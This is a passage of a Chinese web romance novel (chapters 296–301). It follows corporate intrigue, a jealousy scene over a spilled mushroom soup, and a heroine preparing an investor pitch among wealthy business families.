“当初是你为了报恩对我百般体贴温柔,是你同意了我的请求说自己会跟许愿离婚,是你默许了我对许愿做的那些事,我变成现在这样都是你害得,你要娶我,你必须娶我!我整个人都已经完全毁了!” 对,就是傅京礼害的。 如果傅京礼当初没有温柔以待她就不会生出那些野心和卑劣的渴望,更不会将自己看做傅氏未来的总裁夫人。 “我救过你,我救过你啊……如果没有我你早就死了!你要报答我,你要娶我,你必须娶我,我已经没有别的路可走了!” 第296章 许宁,我不会娶你 她几乎癫狂的坐在地上像个疯婆子。 她早就已经失了所有优雅。 她就是胡搅蛮缠也一定要达到自己的目的。 傅京礼关掉电脑网页,沉冷的目光缓缓落到她脸上,眼底的凉意渗出。 “许宁,我不会娶你。” 他如此直接,完全没有考虑许宁的承受能力。 许宁的眼泪不受控制的往下落着,她的手逐渐握紧,内心的恨意在此刻已经上升到顶点。 为什么呢? 为什么所有人都在爱着许愿,哪怕是恶劣如容浔都对许愿百般欣赏,可偏偏这些人看向自己时的目光仿若看着只配活在阴沟里的臭虫。 她受够了。 许宁咬着唇瓣,死死的盯着傅京礼。 她眼底的恨意太明显,傅京礼根本无法忽略。 他看着在自己面前撒泼打滚发疯的女人,他也在问自己。为什么会为了她放弃许愿。 如果不是她,许愿还是他的妻子,他们的孩子不会掉,她会诞下他的子嗣,永远被留在他身边。 而不是像现在这样跟他宛若仇人。 “许宁,我不会娶你。” 他又一次开口,打破她的幻想奢望。 许宁垂下眼眸,手握紧,身体都在因为他的拒绝而轻微的颤抖,她为自己规划好的一切被傅京礼轻而易举的推翻。 她不会成为傅氏总裁不会成为傅太太,那她就不能实现阶级跨越,她就会一直是被上流圈层嘲讽的私生女,永远的抬不起头,所有人提到她都只是个笑话。 不娶她吗。 许宁深知傅京礼的心狠程度。 他已经开口,纵然她再如何发疯都不会得到自己想要的结果。 她眼神微暗,嗓音沙哑:“帮我洗清身上的黑料,我不要被人指着骂是小三的女儿。” “我救过你,既然你不娶我,你就要保证我的安慰,你要让我干干净净的活着。” 她能如此强横,仅因为她已经不再将一切的赌注放到傅京礼身上。 他要争取最大的利益。 “我只能安排宣传部撤热搜,至于你的身份。”傅京礼眸光淡淡:“那是事实不是吗。” 她就是小三的女儿,再如何洗白也改变不了她的出身。 “那就把一切都推到许镇江身上,是他骗婚,是他隐瞒了自己的身份骗取了我母亲的信任。” “错的是许镇江,绝不会是我。” “我多无辜,他们生下我没有任何人跟我商量过问过我的意见,如果有的选我绝不会选择成为许镇江的女儿!” 傅京礼深深的看她一眼,片刻后缓缓开口:“出去吧。” 他没有更多回应但已经给了她答案。 他会帮她。 许宁从地上缓缓站起身,她遥遥的看着傅京礼,身影萧瑟的离开。 离开时还能听到傅氏的秘书和其他员工叽叽喳喳议论她的声音,无非是嘲讽她不知好歹看不清自己的身份。 她加快脚步,踉跄的钻上车,正要启动车子,却赫然看到自己的副驾驶座上坐着一个陌生俊美的男人。 男人似乎是在假寐,听到声响只是轻微皱了下眉。 许宁整个人惊了下。 他终于睁开眼,温润中潜藏淡漠的黑眸看向她,声音冷淡。 “许小姐,初次见面,我是傅守越。” 说到这里他很轻的笑了一声:“傅京礼的弟弟。” 许宁显然被他吓得一愣。 她并不了解傅京礼,更不要提知晓傅京礼有弟弟,听都没听说过。 “我不认识你。” 傅守越笑意很轻。 “我是傅长海的养子傅守越,也是傅嘉誉的哥哥。” 他提到傅嘉誉许宁脸色微变,她还记得自己曾经被傅嘉誉羞辱过,浑身血液都是冷的。 “我不知道你来找我想做什么,我不认识你,跟傅嘉誉更没什么交情,麻烦傅先生下车,不要拿我来寻开心。” “你不问我为什么来找你就要拒绝我?我以为许小姐不会愚蠢到这种地步。” 傅守越逼近许宁,压低声音。 “许小姐心里所求的是什么,是权利市利益是金钱,你总不该是对着傅京礼恳求真爱。” “你这么看重傅太太的身份,想的无非是改变自己所处的阶级。” “没想过不靠傅京礼吗,只靠你自己,你一样可以到达那样的高度,只看你肯不肯合作了。” 傅守越的声音明显带着几分蛊惑之意。 许宁被他勾画的大饼勾到了。 她当然做过白日梦,梦到自己像许愿那样聪明优秀受人景仰,而不是像自己一样被人提及人人喊打唾弃。 她一意孤行想嫁给傅京礼就是看重了傅京礼的身份,想要改换门庭。 “傅先生,我希望你不要开玩笑。” 许宁眼神闪烁带着几分锐利的光。 “你既然肯找上我肯定也私下调查过我,你该知道我不是什么好人,跟我黏在一起如果没有让我达到目的我是不会放过你的。” 她这话说的毫不避讳。 “我实在不知道我有什么价值能得傅先生青睐,你也知道我只是艺术生出身,没有拿得出手的家世更没有像许愿那样优秀的基因和高人一等智商。” “我不认为我对你来说能有什么价值。” 傅守越连着低笑几声。 “许小姐妄自菲薄了,你的身份也不一般。” “你可是傅京礼永远无法放下的恩人不是吗。” 他想对付傅京礼! 许宁只肖片刻就反应过来,她瞳眸睁大。 “你到底想做什么!” 许宁疾言厉色。 “别着急。” 傅守越靠着车椅,整个人带着一股慵懒感,看向她时眼尾明显跟着挑了下。 “你既然想要真的改变自己的阶级那就自己变成资本。” “傅氏在国内是首屈一指的豪门公司,如果能拿下傅氏你就是功臣,自然会成为傅氏的高层之一。” “我说了,你的身份特殊,你是傅京礼的恩人,纵然他不爱你不会给你名分让你成为他的妻子,但他会给你想要的职位。” “你可以暂时成为部门高层监控着傅氏的一切,成为我的眼睛。” “我看你是疯了!” 许宁觉得他魔怔了,但是又不受控制的想得到更多。 第297章 不会只等你一个人 看到她那副模样,傅守越慢条斯理开口。 “傅京礼宁愿守着空荡荡的房间等待不可能再回头的许愿都不肯看你一眼,你不恨吗?容浔对你冷嘲热讽贬低你,你不恨吗。” “许宁,如果你有骨气,就该做出正确的选择。” 许宁没说话,她像是在挣扎在思考。 傅守越深深的看着她。 许宁一时沉默,男人却没有下车,她开车到一半,男人叫停。 “我耐心有限,做好尽快给我回复,否则我会挑选新的合作伙伴。” 傅守越淡淡道:“我不会只等你一个人。” 傅守越正欲下车,许宁叫住他。 “我答应跟你合作!” 傅守越转身看向她。 “你做了一个正确的决定。” …… 时间不知不觉过去两月,盛世研发部终于组建完毕,开始高速运转。 宋观鱼如愿调去了机械工程部,一个月之前顺利转正,成了机械师,目前的工资是两万,考到资格证之后是两万五千块,有了经验,成了高级工程师,一个月得有四五万。 比起市值千亿的宋氏集团,这点钱当然不算什么,但宋观鱼却觉得很开心。 把爱好变成工作,每天干着喜欢的事,陪着喜欢的人,世界上还有谁能比他更幸运? “许总!”在人群中看见许总,宋观鱼连忙举起手。 最近许愿忙工作的同时还在盯着盛世的研发部,所以一直都在盛世食堂用餐。 他已经打好两份饭,一份给自己,一份给许愿。 许愿慢慢走到餐桌边,目光扫过餐盘。有她爱吃的有宋观鱼爱吃的菜。 最近宋观鱼成长很多,盛世老狐狸太多,她面对宋观鱼时心情会放松很多,所以并未拒绝宋观鱼的靠近。 在她心里,她已经把宋观鱼看做未来的合作伙伴了。 不远处的喧闹声忽然消失,一个高大的男人慢慢走过退避的人群,是陈飞豪。 “陈总。” “陈总好!” “陈总您亲自来吃饭呀?” 乍然听见这一句,许愿忍俊不禁,摇头低笑。 宋观鱼盯着盛景炎,表情有些难看。 他可知道陈飞豪最近总会因为工作的事来找许愿。 这人该不会现在又是来找许总的吧?许总想好好吃个饭都不行? 公事什么时候不能谈,偏偏选在饭点?真是一点边界感都没有! 嘿tui! 宋观鱼默默啐了一口,狭长眼眸不悦地眯起。他只是许愿一个人的舔狗,面对别人,他依旧是猛兽。 陈飞豪对上宋大少爷充满敌意的目光,脚步不由停顿。 他目光缓缓落到许愿身上,还未开口告诉许愿盛景炎来了盛世,就在这时,助理已经推着盛景炎的轮椅走过来,许愿挑了下眉,就见一个人险些撞翻盛景炎的轮椅,手里的奶油蘑菇汤汤泼了他满身,餐盘落在地上,发出哐的一声巨响。 整个食堂都安静了。 许愿挑高眉梢,心念电闪。 撞入盛景炎怀里的人是一名容貌靓丽的女性,若是许愿没记错,这人跟陆飞博关系匪浅。 这次出场又是怎么一回事?巧合或刻意的安排? 所有人都在看撞在一起的盛景炎和女人,余光偷偷的瞟向许愿,都想看许愿的反应。 拜托!大家都知道这可是许总的未婚夫许总的男人! 许愿放下筷子,眼睛微眯,露出似笑非笑的表情。 宋观鱼却呆头呆脑完全不知道发生了什么事。 “对不起盛总,我不是故意的,我刚才在想事情!这套西装多少钱,我赔给你!”女人把手里的文件夹塞给站在一旁的助理,从衣兜里掏出纸巾,飞快擦拭盛景炎的衣服。 盛景炎面色阴郁,却还保持着风度,低声道:“不用赔了,下次你小心点。” “对不起盛总!真的很抱歉!”女人九十度鞠躬,脸颊涨得通红,眼睛里闪烁着泪光。 陈飞豪王经理和几个中层领导已经围拢过去,连声询问盛景炎有没有被烫伤,要不要去医院。 许愿挑高眉梢并未在此刻走上前去,全当自己是个看客。 紧张盛景炎是一回事,想知道他要如何解决这“烂桃花”又是另一回事。 盛景炎满脸不耐地应付这些人,轻轻推开帮自己擦拭西装的助理,朝许愿看去。他张了张嘴,似乎想把人喊到身边,意识到自己现在十分狼狈,便又露出懊恼的表情。 隔着人群,他冲许愿摆摆手,然后抬头瞥了助理一眼,助理会意立刻推着轮椅离开。 女人冲他的背影又说了几句对不起,这才抹把脸,狼狈地逃了,只留下一群人想议论想八卦但碍于陈飞豪和许愿都在食堂,只能将内心那点八卦欲望全都压下去。 “许总别看了,快吃饭!菜都凉了!”宋观鱼把餐盘往前推了推。 许愿端起汤碗,轻轻吹气,似笑非笑地说道:“今天的汤不错,我先喝汤。” 烧开的汤十分烫嘴。许愿只抿了一小口就若有所思地眯起眼。 盛景炎刚才没被烫伤,看来陆飞博的人往他怀里撞的时候已经把汤放凉了。 不错,看来陆飞博还是知道点分寸的 放下汤碗,许愿意味不明地笑了笑。 手机忽然震动,打开之后是盛景炎发来的短信:【我在你办公室。】 许愿其实心里是不爽的,有那么点气,所以磨磨唧唧的吃完饭,等到食堂都没几个人了才搭乘电梯来到顶楼。 “等很久了?” 许愿推开门自然的走进去。 盛景炎没说话,但是他的衣服已经换了一套,助理见许愿来了把摆放在桌角的几个外卖盒拿走。 许愿仔细看了看,发现透明外卖盒里的食物原封未动,还都是华庭的私房菜。 看来是等着想跟她一起用餐, “今天特地来盛世就是想跟我一起吃午饭?”许愿在盛景炎对面落座。 “你到现在还没吃饭?”许愿微微一笑,语气冷淡。 看着他半点也不在乎的表情,盛景炎喉咙梗住,心绪翻涌。被汤汁泼了满身,周围人全都过来关心,唯独许愿无动于衷,冷眼旁观。自己发送短信邀请,她也不来。 盛景炎心里有些发冷。 第298章 好大的酸味儿 “你到现在还没吃饭?”许愿微微一笑,语气冷淡。 看着他半点也不在乎的表情,盛景炎喉咙梗住,心绪翻涌。被汤汁泼了满身,周围人全都过来关心,唯独许愿无动于衷,冷眼旁观。自己发送短信邀请,她也不来。 盛景炎心里有些发冷。 办公室里的温度仿佛降到冰点,窗户没开,明明是夏日却隐约有冷风吹进来。 一个助理拿着文件站在门口张望。盛景炎只是面无表情地扫他一眼,他便脸色一白,落荒而逃。 许愿没逃。 她站起身,走向门口。 盛景炎以为他要离开,骨节泛白的手用力拉扯领带。 门口放着一个衣帽架,架子上挂着一件崭新的西服。 许愿走过去,用指尖拨弄西服领口,慢悠悠地问道:“汤好喝吗?” “什么汤?”盛景炎愣住了。 “奶油蘑菇汤。” 盛景炎:“……” “给你送汤的女人好看吗?” 盛景炎:“……” 慢慢的,盛景炎终于明白过来,许愿不是对自己冷淡,而是在吃醋。短短几秒钟,心里的怒火和焦躁已全部消散,变作心花怒放。 “阿愿,你在吃醋?” 盛景炎靠向椅背,紧绷的身体全然放松下来。 “盛总下次去食堂要小心一点。您一套西装是人家一年的工资,人家赔不起。”许愿握住门把手,淡淡说道:“不过盛总人品好,温柔体贴,当然不会让人家赔钱。多撞几次也没所谓,是不是?” 盛景炎当然知道许愿是故意在无理取闹的,许愿关紧办公室的门走到盛景炎面前,她一手扣住门把手,眼底都带着几分笑意:“听出来我在阴阳怪气了吗” “在跟我开玩笑?” 盛景炎握住许愿的手,许愿嗯了一声。 “不过还是会不开心。” “你是我的,想要把你藏起来。”许愿两条手臂抱住他的脖子声音很轻:“那个女人好看吗,长得像我吗。” 也难得陆飞博找了个模样有几分神似她的女人。 “别阴阳怪气的好不好?”他亲了亲许愿雪白的耳朵。 许愿笑意很轻的吻住他,浅浅的一个吻,带着湿意,热气缠绕在彼此的呼吸之间。 “你嘴里好大的酸味。”盛景炎哑声调侃,笑意浸染在深邃眼眸里。 许愿默默推开凑到自己面前的俊脸,拿出手机。 “这个时候你给谁打电话?”盛景炎搂紧许愿的腰,刚愉悦起来的心情又遭到破坏。 “给你订餐。午饭都没吃,你不饿?你的西装能帮你喝汤?”许愿开始订餐,盛景炎却握住她的手轻笑:“你跟宋观鱼关系很好?” 许愿挑眉:“你知道宋观鱼?” “你不知道?” 盛景炎反问一句。 “我该知道?”许愿略微皱了下眉,盛景炎不会无缘无故提到这个。 盛景炎开口:“我看你跟他关系很好,以为你知道他的真实身份。” 许愿记得宋观鱼的气质与众不同,不是小家族能养出的人,难道宋观鱼在身份上还有所隐瞒? “他说他家破产了,消沉了一段时间才出来找工作?” 破产? 宋家破产? 宋观鱼在外面胡说八道的时候能不能问一问隔壁宋总串通一下?隔壁区首富说破产就破产?谁这么大能耐。 “给你个提示,宋家。” 许愿顿了下。 这已经不是暗示而是明示了。 A市宋家都有谁许愿很清楚,那必然不会是A市的了,那么…… 许愿想了片刻跟盛景炎对上频。 “隔壁宋家?首富那家?” 两人自然是有默契的,不等盛景炎说清楚,许愿就已经猜到了。 “对,宋观鱼是隔壁区宋家嫡子,未来要继承宋家家业的继承人,他本名是宋焱,曾经被人称作宋三火,因为那火爆脾气没少被人调侃。” “他的名字还是一位大师起的,说他性属火,就该旺盛生长远离水,所以被起名宋焱,他就是看不上宋总求神拜佛封建迷信连自己名字都是这么来的,一时叛逆成年后就改了名字改成‘宋观鱼’。” “说是不让接近水,他却偏要把名字里添上条鱼,都有鱼了还能没水?宋驰没少因为这件事逼他,但他坚决不改,坚信就要叫这个名字。” “那位曾算过他命格的人曾说,性属火个性张扬骄傲放纵遇水则福却两行相克,剑指桃花宫,远水近火仿佛能躲过桃花劫,否则可能孤苦一生。” “那人说的振振有词,彻底惹恼了要改名字的宋观鱼,所以他坚决要改名字。” 盛景炎并非无缘无故提起这件事。 那个为宋观鱼批命的人曾为唐青江算过命格,后来唐青江果真在实验室遇到火灾险些死在那场大火中,他为宋观鱼算了命格,谁能知道这话是真是假? 且宋观鱼确实接近了“水”。 许愿被测水属性,且如果许愿父母当真同时是唐青江和苏青莲,那宋观鱼接近许愿更是接近了水。 加之那人算的宋观鱼的一生,躲不过的桃花劫,往后孤苦的一生。 好像就是算准了他会遇到许愿然后对他生出旁的心思。 他清楚,如果遇到过许愿爱上过许愿就很难再爱上什么其他人,更不要说宋观鱼这种固执己见一根筋的人。 起初他回绝了让宋观鱼进入盛世的请求,他以为按照这位大少爷骄傲的性格一定会离开盛世,可弯弯没想到大少爷不仅没有离开,还去当了苦力并一步步进了其它部门接近许愿。 所以……他早在面试那天就对许愿一见钟情动心了吗。 盛景炎忆起今天在公司食堂看到两人有说有笑的模样,宋观鱼看向许愿时眼睛都是在发光一样,那是藏着沉重感情的眼神。 他爱上许愿了。 盛景炎心里很清楚,如果许愿能跟宋观鱼在一起,她必定会成为这世界上最幸福的人,或许要比跟他在一起还要幸福许多。 宋家家风清正,虽然是首富之家却没有门第之间,宋驰为人正派,宋家更是没有杂七杂八的旁系支系,宋家的一切未来都是宋观鱼的。 第299章 亲一次就老实了 而宋观鱼呢? 虽然是出了名的混不吝,但是因为家风清正,被宋驰教养出来满身正气,再如何混蛋也会尊重女性,他疯也只是玩赛车玩音乐玩一些极限运动追求刺激。 说白了,宋观鱼其实就像是没长大的男孩。 他遇到许愿,会把许愿看做这辈子最诚挚的初恋献上他自己热烈赤诚的爱意。 他内心有些酸楚,他清楚和宋观鱼比起来他输了太多,他没有幸福美满的家庭,甚至如今没有健康的身体,而她一如往日那般耀眼夺目。 他配得上这世界上更好的人。 如果对方是傅京礼,他会争会想守着她,可若是换做宋观鱼……他甚至想拱手相让。 多可笑。 当初追求许愿时,他用身份来说事,他说他们有着相似的经理所以才会更了解彼此,话是真的,但他的心不诚,那时他虽然欣赏许愿但更多的是看上了许愿能带来的巨大利益。 他不像宋观鱼有这样赤诚热烈涌动的爱意。 现在终于深爱到可以为她付出生命,却也可以大度……大度到可以将她送到宋观鱼身边。 许愿跟宋观鱼在一起时笑的那样放松,他都可以想象到他们是彼此欣赏的,如果是宋观鱼…… 盛景炎眸光微暗,他目光落在自己已经断掉的双腿上,不受控制握住许愿的手。 “阿愿,你喜欢宋观鱼吗。” 这话问的突兀。 许愿被问的有一瞬的茫然。 “什么?” “你会喜欢上宋观鱼这样的人吗。” “阳光充满朝气,一看就是生活在幸福家庭的人,你不觉得跟他在一起会很放松吗。”盛景炎看着自己面前的爱人,声音很轻很温柔,但心却是跟着紧了几分。 “你是指哪种喜欢。” 许愿勾动盛景炎的手,唇角微微扬起,双手捧住盛景炎的脸,凑近了看他。 “朋友之间的喜欢?上下级之间的喜欢?师生之间的喜欢?还是恋人之间爱慕的喜欢?你想说哪种?” 凑得太近,能明显嗅到她身上淡淡的香味。 他身上被泼过奶油蘑菇汤,虽然换了衣服,但还是有那种淡淡的味道奶油味,许愿凑近嗅了嗅然后在他颈边蹭了蹭,像是故意撒娇。 她在外总是强大的,但在他面前暴露后一直都是如此。 用盛景炎的话来说,像是一块香甜可口的小蛋糕。 “怎么不说了?我还等着你的答案呢。” “你觉得我问的是哪种。”盛景炎喉结滚动,感受到她吐出的暧昧气息,眸光微微深了几分。 “又在自卑想那些杂七杂八的事了?” 许愿捧着他的脸,贴近的望着男人俊美的面容。 “你心里一定在想,宋观鱼聪明,年轻,优秀,家室,容貌,样样都能与我相配,你又在自卑的认为自己配不上我是吗。” 只肖片刻就已经看透盛景炎的内心。 他顿了下,沉默。 沉默就是默认。 许愿险些被气笑。 “盛景炎,我给你的偏爱还不够多吗。” “为什么你就是不能够相信我爱你我能够一直陪在你身边?” “你是不是想说现在的承诺只能证明这一时的爱意不能证明一辈子?” “那你要不要让时间来证明一切?” “一年不过365天,十年不过3650天,眨眼就过去了,我能陪你一个十年两个十年三个十年我这辈子所有的十年,时间会证明我的选择我的爱。” “盛景炎,你能明白吗。” 她说,盛景炎你能明白吗。 能明白她在乎你,能明白她爱你吗。 他明白,只是他不忍心耽误她。 盛景炎唇瓣动了动,看着面前的女人喉间发堵,才想说话,许愿便已经拍了拍他的脸然后凑近了堵住他的唇。 主动探近的舌尖就是在刻意的勾引一般,让他在这一刻已经忘记了要说出口的话,只能尝到她的甜味。 他想。 她这样说了,那他就等等看。 如果……如果许愿未来真的会喜欢上别的什么人,譬如宋观鱼,他是会祝福,而不是钳制逼迫。 被她这样一通乱亲,盛景炎脑子都乱了,只觉脑内盛满了浆糊,甚至浆糊都是粉嫩的颜色堆满了粉红泡泡。 衬衫的扣子不知道什么时候被许愿解开了,感受到肩上传来的疼痛他恢复清明,低头就看到许愿在自己肩上留了个明晃晃的牙印,像是故意欺负他在这里留了个勋章。 他才看了一眼,许愿便在另一侧也如法炮制的咬了一口,要了个几乎对称的漂亮牙印。 盛景炎没阻止,一句“为什么咬我”都没问出来就被许愿指着鼻子。 盛景炎没摸清楚她想做什么,但还是想着她下一步要做的事。 “你这样的,亲一次就老实了。”许愿说这话时还特地撩了下自己的长发,性感撩人,很有御姐霸总的范儿,她哼了一声:“如果亲一次不够那就多亲几次。” 说罢,又在男人唇上亲了亲。 盛景炎:“……” 盛景炎实在是无言以对,只能失笑。 他方才是在自己抑郁,偏偏许愿就是不能让他抑郁,一定要告诉他,她有多喜欢他多爱他。 盛景炎彻彻底底被安抚了,心里的郁结现在全都膨胀成欢愉。 现在还管什么以后呢? 若是以后许愿真的喜欢上宋观鱼再说……总归现在许愿心里的人是自己。 “你心疼我。”盛景炎这次主动吻上许愿的唇,在这人齿缝间满足低语。 许愿轻推一把,撇开头说道:“别闹,先给你订餐。奶油蘑菇汤再给你叫一碗?刚才没喝到,可惜了。” 盛景炎把头埋进许愿馨香满溢的颈窝,闷闷地笑了好一会儿。 他不是傻瓜,自然知道许愿是在意那个女人凑到他面前刻意的接近,她在吃醋。 他以前怎么没发现,吃起醋来的许愿这么可爱。 滚烫的唇烙印在雪白的皮肤上,盛景炎细细密密亲吻许愿的脖颈,语气里带着难以言喻的满足:“除了奶油蘑菇汤,你点什么我吃什么。我根本就没看清撞我的人是谁。别吃醋了,我眼里只有你。” 第300章 段星河真是太土了 许愿定定看向盛景炎。 盛景炎嗓音沙哑:“你知道的,我眼里心里只有你。” 盛景炎捏着他的下颌,吻他微红的薄唇。 一个漫长的吻融化在两人舌尖。 之前是寒潮过境,风雨将至,此刻却是微风拂面,温暖如春。 外卖很快送到,还是华庭的私房菜,都是盛景炎最爱吃的东西。 许愿拆开包装,把筷子递过去。 盛景炎接过筷子,嘴角的笑意压都压不住。 “怎么还有奶油蘑菇汤?”打开最后一个食盒,他笑容僵住。 “这是我给自己点的。你吃饭吧,我喝点汤,陪陪你。一个人吃饭不寂寞?”许愿把食盒端到自己面前,用勺子搅了搅。 浓烈的笑意在眼底蔓延,盛景炎搂住许愿又是一个深吻。 “阿愿,你真的很可爱。”唇舌分开后,他嗓音沙哑地说道。 “我当然知道我可爱。”许愿接受他的夸奖。 就在这时,助理敲开办公室的门,小心翼翼地张望,见盛景炎满脸笑容,心情大好,这才走进来,送上一份文件。 “盛总,这个东西您看看,我觉得很有价值。” 盛景炎接过文件翻看。 许愿抬眸扫视,目光微凝。 文件封面写着“融资计划书”五个大字,署名是陆飞博。 这可不仅是越级汇报了,这简直就是越过许愿找到盛景炎这位前任总裁,壁越级汇报更严重…… 容浔选的小间谍是脑子有病?他是真不知道她和盛景炎的感情吗。 许愿放下汤勺,靠向椅背,姿态悠然闲散。 盛景炎还在翻看文件,眸子里精光闪烁,神情十分专注。看来这份计划书已经引起了他的兴趣。 “陆飞博?这人是谁?”他回头翻看署名,问道。 助理:“陆飞博就是研发部的一名新人,他是许总和段老师下面的人,刚入职两个月。” 盛景炎脸色一沉,语气不善,“所以他把报告交到我这里?这些可以报给他的上级。” 许愿微微勾唇,唇角带着浅笑。 助理连忙解释:“不是的,刚才撞到您的那位女士是陆飞博的好友,她今天是打算帮陆飞博递交文件,但是她帮您擦衣服的时候顺手把文件递给我,忘了拿回去。我闲着没事翻了翻,发现写得很不错,就拿来给您看。研发部预算吃紧,我以为您会感兴趣。” 许愿眼底的冷意根本不遮掩。 哦,原来陆飞博不是要用什么美人计,原来是想利用别的人来离间他们的关系。 他是觉得盛景炎是盛世前任总裁,是认为盛景炎被她架空了所以想要从盛景炎这里下手对付她?又或者认为她知道这件事会大闹一番? 许愿看向盛景炎脸上笑意不减。 盛景炎看向许愿:“阿愿,你要不要先看看。” 盛景炎直接将文件递交到她手边。 “既然是费尽心思给你的,那就你先看,等你看完了给我看看。”许愿笑着摆手。 赶巧了?世上哪有这么多巧合? 许愿原以为陆飞博是言情文看多了,脑子有问题,哪料这份报告才是他的最终目的。既要避开“越级汇报”这个大坑,又要尽快获得老板的青睐,只是一个小小的花招,他就一箭双雕。 能被容浔选中的果然不简单。 许愿慢悠悠地喝汤,眼眸深处翻涌着晦暗的思潮。 十几分钟后,盛景炎放下计划书,赞许道:“不错。” 许愿用纸巾擦手,“给我看看,你快吃饭。” 盛景炎拿起筷子吃饭,说道:“稍后我把计划书拿给董事会看一看,如果大家都觉得可行,我们开个会讨论讨论。” 他抬眸看向站在一旁的助理,吩咐道:“你让陆飞博把计划书润色一下,做个PPT,下周我们开会,让他主持。” 盛景炎习惯性的发号施令,等说完这些话才想起现在盛世的总裁是许愿。 盛景炎顿住。 “阿愿,你觉得可以吗。” 许愿微微垂眸,此刻并未开口。 这个机会十分难得,对于普通职员来说无异于一鸣惊人,如果有真才实学,他会给对方一个机会,所以一时忘记了许愿。 陆飞博的目的大概已经达到了。 他如果只是想上进,这没什么不对。 但他这么急迫地想要进入公司的权力核心,还勾引段星河的助理,意图恐怕不简单。 他想怎么做呢? 许愿似笑非笑地翻着计划书,没有出言反对,更没有说出自己的怀疑。 在没有证据的情况下,他阻挠一个年轻人的前途,看在别人眼里,她这个领导人就太狭隘了。 “当然可以,我也想知道这位陆先生能给我们带来什么样的惊喜。”说罢许愿站起身,附在盛景炎耳边轻吻了下:“我有事要找段老师商量,你处理好事情就早点回去休息,不要累到自己。” 话落,许愿手掌轻轻压了压这人宽阔的肩膀。 盛景炎还在愣神,门已经打开又合拢,许愿走得无影无踪。 盛景炎轻叹一声。 助理不安地挪了挪双腿。 然而只是短短数秒,盛景炎就已经扶额,止不住地低笑起来。 “好像又在生气,真可爱啊。”盛景炎声音很轻,还带着几许宠溺温柔。 助理:“……” 好吧,老板开心就好。 …… 许愿刷开门禁,走进实验室。 “许总。” “许总。” “许总。” 白大褂们来去匆匆,却也没忘了停留两秒,毕恭毕敬地打招呼。 许愿不断点头,慢慢踱步。 几架小飞机在空中飞过迎面飞过来,还在空中摆了个爱心形状,飞机还忽闪忽闪的发着光,一会儿红一会儿蓝。 土! 太土了! 许愿深吸一口气,嘴角很想抿直,却忍不住上扬。 段星河,你不光财商不行,情商更不行! 滴滴,小飞机按了两声喇叭,身上的光微微闪烁。 许愿这才发现飞机上面印着的都是些动漫角色。 许愿撇开头,以拳抵唇,闷笑几声。 “许总,进来坐吧。”段星河不知何时出现在过道上,手里捏着一副金丝眼镜,白大褂扣得整整齐齐,只露出一根幽蓝色格纹领带。 第301章 等不及想见她 今天的段星河非常禁欲,妥妥的斯文败类。 任谁也想不到这么土的飞机会是这人设计的。 许愿双手插兜,慢慢走进办公室。 “许总找我有什么事?”段星河戴上眼镜,低头操作电脑,侧脸认真专注,“为了帮许总完成KPI,我最近可是没日没夜的加班。” “段老师辛苦了。”许愿语气里是难得的温柔。 “哼,你知道就好。” 许愿差点忍不住笑出声。 段星河原来还有傲娇属性。 “说吧,你来干什么?你可是无事不登三宝殿。”段星河瞥了许愿一眼,语气有些幽怨。 许愿低下头,忍住笑意,问道:“你的智能系统研发出来没有?” “已经进入安全性能实验阶段。” “这么快?” “都是为了许总的大业。” 许愿实在是忍不住,轻笑一声,也是,她确实是催了段星河一把。 段星河斜眼看他,很想摆一个冷酷的表情,最后却也笑了。 “许总不要忘了我们之间的交易。” “忘不了。我要去融资,你给我一些可以透露出去的研究成果,我得给我们的投资人画大饼。”许愿终于表明自己的来意。 段星河:“……” 果然是无事不登三宝殿! 憋着一口气,段星河拿出许多资料,把能用的,不涉及机密的东西挑出来,整合在一起。 许愿打开一旁的电脑,一目十行地看完资料,迅速做成PPT。 他的能力比陆飞博强了何止百倍千倍,简单几页纸就勾勒出一块巨大的蛋糕。 没有哪个投资人能够抵挡这样的诱惑。 全球数万亿市场,而盛世的目标是豪取更多。有了最先进技术的加持,无论这个目标看上去多么离谱,它都是可以实现的。 段星河垂眸看着这份飞速生成的PPT,感慨道:“如果我是投资人,不往里投钱我都觉得对不起自己。” 许愿的十根手指在键盘上飞速打字,没有回应,只是很轻的笑了一声。 当初她在国外就是凭借聪明的头脑给国外友人画了大饼筹借到大笔资金,不然也不会有后期的盛华了。 “我帮了你,你给我什么好处?”段星河已经开始要好处了。 是许愿说的会帮他找到苏青莲的。 许愿抬眸轻瞥,勾唇浅笑:“你这就等不及想见她。” 段星河喉结滚动,心尖微颤,提到苏青莲的名字,他整个人都有瞬间的恍惚。 许愿拿起一旁的遥控器,将周围的玻璃墙变成不透明的黑色,许愿点开他的电脑,在上面敲击了数段代码。 “利息,能不能追踪到她的踪迹就看你了。” 许愿留下的代码是苏青莲监控留下的尾巴。 话落许愿开口:“段老师可以继续加班了,继续加班吧,我先走了。” 脚步声渐渐远去。 数十秒后,段星河追出办公室,站在过道里望着那个修长纤细的背影。 段星河有些无奈的揉了揉自己的领带,领带都被他自己揉皱了,他脸色也有微微的变化,下一秒躺靠在沙发上,目光却落在那串代码数据上。 段星河设计的小土飞机还追随着许愿的身影。 许愿脚步并未停留,带着自己才做好的PPT资料拜访了A市的几位著名投资人,许愿也没拜访更多的人,只是将跟盛景炎熟识的几人组了个局。 地点定在华庭。 邀约了黎云笙、韩越韩城兄弟,甚至将陆斯年和薛酒也一并邀来。 上次闹过一次乌龙,众人却都还保持着面上的体面。 她弄这个聚餐不仅是为了需要投资,还想让盛景炎出来转一转,见见朋友也是好的。 温栩栩没来,最近选秀综艺要收官,她还在集训中没办法出来。 黎云笙对许愿一直都有意见,但看到这份投资计划书也只是挑了下眉,却没有发表什么看法。 “这份计划书认真的?” 韩城率先开口:“如果是真的那我绝对会投的。” 韩越但笑不语,薛酒靠着椅背,懒懒散散的轻啧一声:“计划书是真的,给人挖了个坑也是真的。” 薛酒太了解许愿了。 她不会无缘无故的给人挖坑,大概是又有人惹到她了。 薛酒目光落到许愿身上,她脸上仍带着笑意。 她似乎并不怎么关注周围人的目光,桌上的餐点是她早就点好的,她给盛景炎布了餐方才抬头扫了一圈,见所有人都在看她也只是回以微笑。 “你们想知道为什么会有这份计划书?” 当然想知道。 盛景炎眉心跳了下,下一秒就见包厢的门被推开了,服务生端了一份奶油蘑菇汤进了包厢,已经闻到了浓郁的奶香味,不知道放了多少芝士。 盛景炎:“……” 盛景炎扶额,才想开口说我不喝汤,就见许愿已经将那碗浓稠的奶油蘑菇汤放到他面前。 “奶油蘑菇汤,尝尝吧,华庭的奶油蘑菇汤一定比盛世的奶油蘑菇汤味道好得多。” 包厢内众人神色各异。 陆斯年目光落在那碗汤上,而后细细打量盛景炎无奈中带着宠溺的神情轻笑一声,也猜到没什么大事。 